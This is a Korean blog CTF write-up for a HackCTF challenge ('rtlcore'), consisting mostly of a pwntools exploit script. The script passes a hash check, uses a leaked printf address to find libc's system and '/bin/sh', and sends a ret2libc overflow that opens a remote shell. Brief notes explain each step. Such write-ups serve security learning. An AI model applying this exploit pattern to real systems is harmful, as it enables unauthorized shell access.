# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
e = ELF("./libc.so.6")
r = remote('ctf.j0n9hyun.xyz', 3015)
#r = process("./rtlcore")
#gdb.attach(r)
hashcode = 0x0C0D9B0A7
value = hashcode // 5
remain = hashcode % 5
print(value, 0x2691f021)
payload = p32(value) * 4 + p32(value + remain)
r.sendlineafter(': ', payload)
r.recvuntil("바로 ")
_printf = int(r.recv(10), 16)
_base = _printf - e.symbols['printf']
_system = _base + e.symbols['system']
_binsh = _base + e.search("/bin/sh").next()
print(_base)
print(_base - _system)
print(_base - _binsh)
payload = 'A' * (0x3E + 4)
payload += p32(_system)
payload += 'A' * 4
payload += p32(_binsh)
r.sendline(payload)
r.interactive()
코드 보고 이부분 코드 만들어서 인증하고,
인증해서 받은 값을 확인해보니
printf 함수라서 libc의 base주소를 구하고,
거기에 system 주소를 구하고, /bin/sh의 주소를 구해
payload를 만들었습니다.
728x90
'해킹 > writeup' 카테고리의 다른 글
15. Dreamhack - basic_rop_x64 (0) | 2021.08.01 |
---|---|
14. Dreamhack - basic_rop_x86 (0) | 2021.08.01 |
11. RTL (0) | 2021.07.19 |
10. PLT & GOT (0) | 2021.07.19 |
12. HackCTF - RTL_World (0) | 2021.07.18 |